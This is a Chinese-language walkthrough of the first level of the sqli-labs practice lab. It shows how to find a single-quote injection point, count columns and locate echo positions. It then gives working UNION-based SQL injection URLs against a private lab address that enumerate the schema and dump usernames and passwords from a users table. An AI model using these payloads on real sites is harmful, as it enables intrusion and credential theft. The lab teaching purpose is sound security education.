Less-1
第一关:传递数字id作为参数

例如传递?id=1参数,观察页面显示:


(1)对该位置进行注入点判断
通过输入 单引号、反斜线、双引号等判断页面是否存在反馈信息来判断是否存在注入点


通过报错信息判断这里的id是通过单引号的方式进行闭合

--+:表示注释掉后面的语句。 #:注释,但要使用url编码 %23
接下来进行可以在该处进行相应的注入:库名、表名、列名等信息
(2)判断当前查询字段数
使用关键字 order by [num]
your_IP/mysqli-labs/Less-1/?id=1' order by 4 --+


(3)回显位置的判断
使用union关键字对回显位置判断
http://192.168.88.133/mysqli-labs/Less-1/?id=-1' union select 1,2,3 --+

(4)相关信息的查询
http://192.168.88.133/mysqli-labs/Less-1/?id=-1' union select 1,database(),version() --+

(5)库名、表名等查询
这里需要使用到mysql5.0以上版本自有的一个元数据库 information_scheam ,他包含了数据库中所有的数据库名、表等信息。
在这里介绍常用的名称和方法:
#表
schemata:存储数据库名的表
tables:存储数据表
columns:存储列
#字段
table_name:表名
table_schema:表所属数据库名
schema_name:schemata中数据库名字段
column_name:列名
#方法
#字符串连接方法
concat(str1,str2,..)
concat_ws(sep,str1,str2)
group_concat(str1,str2,..)
#
database():查询当前数据库名
@@version:数据库版本
version()
@@datadir:数据库路径
@@version_compile_os:操作系统版本
user():用户名
#查询所有数据库名http://192.168.88.133/mysqli-labs/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
#查询所有security库中所有表
http://192.168.88.133/mysqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
#查询users表中所有字段
http://192.168.88.133/mysqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
#查询所有内容
http://192.168.88.133/mysqli-labs/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password,0x3c,0x62,0x72,0x2f,0x3e),3 from users --+
#注释
HTML中:<br/> 的16进制 3c 62 72 2f 3e




浙公网安备 33010602011771号